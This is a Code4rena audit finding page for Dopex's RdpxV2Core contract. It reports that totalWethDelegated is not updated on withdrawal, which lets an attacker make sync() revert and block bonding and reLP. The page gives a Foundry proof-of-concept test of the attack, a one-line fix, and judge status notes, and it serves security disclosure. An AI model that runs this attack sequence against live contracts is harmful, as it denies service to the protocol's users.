Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 159/189
Findings: 1
Award: $0.07
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xrafaelnicolau
Also found by: 0x111, 0xCiphky, 0xMosh, 0xWaitress, 0xc0ffEE, 0xkazim, 0xnev, 0xvj, ABAIKUNANBAEV, Aymen0909, Baki, ElCid, HChang26, HHK, Inspex, Jorgect, Kow, Krace, KrisApostolov, LFGSecurity, MiniGlome, Nyx, QiuhaoLi, RED-LOTUS-REACH, Talfao, Toshii, Vagner, Viktor_Cortess, Yanchuan, _eperezok, asui, atrixs6, bart1e, bin2chen, carrotsmuggler, chaduke, chainsnake, deadrxsezzz, degensec, dethera, dimulski, dirk_y, ether_sky, gizzy, glcanvas, grearlake, gumgumzum, halden, hals, kodyvim, koo, ladboy233, lanrebayode77, max10afternoon, minhtrng, mussucal, nobody2018, peakbolt, pontifex, qbs, ravikiranweb3, rvierdiiev, said, tapir, ubermensch, volodya, wintermute, yashar, zaevlad, zzebra83
0.0734 USDC - $0.07
https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L990 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1002
This issue occurs as the totalWethDelegated
variable is not updated when the user withdraws unused delegated collateral. As this variable is not updated, the sync() function may revert if the current contract's balance of Weth is lesser than the totalWethDelegated
var.
An attacker can easily influence the number in this variable by delegating his collateral and withdrawing repeatedly.
This situation is a problem as the sync() variable is called when reLP
is active, so the whole bonding mechanism (functionality) will revert, and reLP will not be possible.
Denial of service of whole Bonding mechanism in Core contract when reLP is active. And also the DoS of reLP.
This test should be added to tests/tests/rdpxV2-core/Periphery.t.sol. As proof, it will revert to arithmetic underflow.
function test_proof_of_DoS() public { testV2Amo(); // set address in reLP contract and grant role reLpContract.setAddresses( address(rdpx), address(weth), address(pair), address(rdpxV2Core), address(rdpxReserveContract), address(uniV2LiquidityAMO), address(rdpxPriceOracle), address(factory), address(router) ); reLpContract.grantRole(reLpContract.RDPXV2CORE_ROLE(), address(rdpxV2Core)); reLpContract.setreLpFactor(9e4); // add liquidity uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0); uniV2LiquidityAMO.approveContractToSpend( address(pair), address(reLpContract), type(uint256).max ); rdpxV2Core.setIsreLP(true); //Added to prove dos address attacker = makeAddr("Attacker"); weth.mint(attacker, 100000 ether); rdpx.mint(attacker, 100000 ether); vm.startPrank(attacker); uint balanceOFCore = weth.balanceOf(address(rdpxV2Core)); weth.approve(address(rdpxV2Core), 100000 ether); rdpxV2Core.addToDelegate(balanceOFCore + 1000 ether, 99e8); rdpxV2Core.withdraw(0); rdpxV2Core.sync(); vm.stopPrank(); rdpxV2Core.bond(1 * 1e18, 0, address(this)); // This will revert now. }
To mitigate this issue, you need to update the totalWethDelegated variable when the user withdraws his delegated collateral.
function withdraw( uint256 delegateId ) external returns (uint256 amountWithdrawn) { ... amountWithdrawn = delegate.amount - delegate.activeCollateral; _validate(amountWithdrawn > 0, 15); delegate.amount = delegate.activeCollateral; + totalWethDelegated -= amountWithdrawn; ... }
DoS
#0 - c4-pre-sort
2023-09-07T08:20:43Z
bytes032 marked the issue as duplicate of #2186
#1 - c4-judge
2023-10-20T17:53:38Z
GalloDaSballo marked the issue as satisfactory
#2 - c4-judge
2023-10-20T17:55:32Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-21T07:38:54Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-10-21T07:43:17Z
GalloDaSballo marked the issue as partial-50